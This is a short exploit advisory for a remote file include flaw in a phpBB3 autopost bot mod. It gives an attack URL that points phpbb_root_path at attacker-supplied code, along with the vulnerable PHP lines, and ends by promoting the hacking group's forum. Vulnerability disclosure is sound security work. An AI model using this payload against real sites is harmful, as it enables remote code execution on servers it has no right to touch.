phpBB 3 (autopost bot mod <= 0.1.3) Remote File Include Vulnerability

phpBB 3 (autopost bot mod <= 0.1.3) Remote File Include Vulnerability Vulnerability author: Kacper Greetz: all DEVIL TEAM forum members. Author Website: http://devilteam.pl/ http://polskihacking.pl/ Mod Description: This mod automatically post content from RSS feed into destination forum. MOD Download: http://phpbb3.smika.net/ Demo: http://phpbb3.smika.net dont work when php5 or newest. Vulnerability: http://site.cz/forum_path/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code] ------------------------------------------------------------------ Bad codE: includes/functions_lastrss_autopost.php - line 204 - 240: [code] if($config['lastrss_ap_enabled']) <-----{1} { // init & setup lastrss // $rss can be already initiated by lastRSS agregator mod by SmiX if(!isset($rss)) <-----{2} { require $phpbb_root_path . 'includes/class_lastrss.' . $phpEx; <-----{3} $rss = new lastrss; } // init/change settings for lastrss autopost bot $rss->cache_time = 0; // not used in this mod $rss->items_limit = $config['lastrss_ap_items_limit']; // default limit of items to post $rss->type = $config['lastrss_type']; // connection type (fopen / curl) // init lastRSS autopost MOD ! // check if we have some feeds in database to check $sql = 'SELECT * FROM ' . LASTRSS_AP_TABLE . ' WHERE next_check < "' . time() . '" AND enabled = "1"'; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); // so do we have some feeds to post ? if(sizeof($row) > 0) { // we are already sure, that at least one feed exists! $feed = get_next_feed_to_post(); } // do we have some feed data ? if (isset($feed) && (sizeof($feed) > 0)) { // we are sure, we have feed info for checking the feed! autopost_init($feed); } } ?> [/code] ------------------------------------------------------------------ Zapraszam na forum DEVIL TEAM, google:"DEVIL TEAM" lub http://6189.pl, http://devilteam.pl